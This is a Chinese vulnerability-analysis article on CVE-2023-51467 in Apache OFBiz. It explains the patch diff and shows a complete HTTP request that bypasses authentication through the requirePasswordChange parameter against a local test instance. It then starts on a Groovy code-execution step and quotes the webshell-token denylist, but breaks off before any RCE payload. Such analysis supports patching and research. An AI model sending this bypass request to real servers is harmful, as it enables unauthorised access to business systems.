专栏名称: 合天网安实验室
为广大信息安全爱好者提供有价值的文章推送服务!
51好读  ›  专栏  ›  合天网安实验室

CVE-2023-51467:Apache OFBiz未授权RCE漏洞分析

合天网安实验室  · 公众号  ·  · 2024-03-07 17:30

正文

0x01 简介

Apache OFBiz 是一个用于企业流程自动化的开源产品。它包括 ERP、CRM、电子商务/电子商务、供应链管理和制造资源规划的框架组件和业务应用程序。OFBiz 为可靠、安全和可扩展的企业解决方案提供了基础和起点。

0x02 漏洞概述

漏洞编号:CVE-2023-51467
该漏洞利用权限绕过+后台groovy代码执行以实现未授权RCE。由于在ofbiz 18.12.10版本官方仍未修复权限绕过漏洞,导致攻击者能够利用此漏洞绕过权限并且配合后台代码执行来获取远程服务器权限。

0x03 影响版本

Apache Ofbiz <18.12.11

0x04 环境搭建

下载个apache-ofbiz-18.12.10.zip,用IDEA打开后静静的等依赖拉好 https://downloads.apache.org/ofbiz/

然后可以用个偷懒的办法把环境跑起来,先执行如下命令把测试数据创建好

./gradlew cleanAll loadAll 

然后在IDEA debug org.apache.ofbiz.base.start.Start就行

tips:

1.如果启动报错端口被占用,改下framework\start\src\main\java\org\apache\ofbiz\base\start\start.properties的ofbiz.admin.port就行

2.18.12.11在windows下有个重定向的bug,想用新版建议18.12最新版的commit或者dokcer,https://github.com/apache/ofbiz-framework/tree/release18.12

0x05 漏洞分析

01 权限绕过

从cve的漏洞链接里翻了半天,锁定如下commit

https://github.com/apache/ofbiz-framework/commit/ee02a33509589856ab1ad08399e8dcee6b0edf58

framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java#login

            String errMsg = UtilProperties.getMessage(RESOURCE, "loginevents.following_error_occurred_during_login",
                    messageMap, UtilHttp.getLocale(request));
            request.setAttribute("_ERROR_MESSAGE_", errMsg);
-            return requirePasswordChange ? "requirePasswordChange" : "error";
+            return "error";
        }
    }

可以看到官方只是把返回的requirePasswordChange删除了,之前看过ofbiz相关分析的bro应该马上就反应过来咋回事了,没看过的xd可以参考下先知的这篇文章,对ofbiz鉴权这块解释的很详细,https://xz.aliyun.com/t/13168#toc-7

很明显,如果返回requirePasswordChange而不是error能bypass掉部分路由的权限验证。(这里只是盲测了几个别的路由接口,感觉很有finebi那种接口不要鉴权,进去第一句代码就是检测是否有admin权限)

拿下面的接口下payload验证下确实是这么bypass权限的

GET /accounting/control/globalGLSettings?USERNAME=a&PASSWORD=a&JavaScriptEnabled=Y&TOKEN=&requirePasswordChange=Y HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://127.0.0.1:8443/accounting/control/login
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

02 通用后台RCE

这部分就不过多废话了,y4tacker师傅写的已经相当详细,其实就是官方的过滤很容易被bypass,当然在最新版这个后台RCE依旧存在(Ps:主要是修起来突出一个没完没了哈哈)。

过滤如下,DENIEDWEBSHELLTOKENS来自\framework\security\config\security.properties,如下,突出一个看着很容易Bypass的,实际也很容易被Bypass。

deniedWebShellTokens=java.,beans,freemarker,






请到「今天看啥」查看全文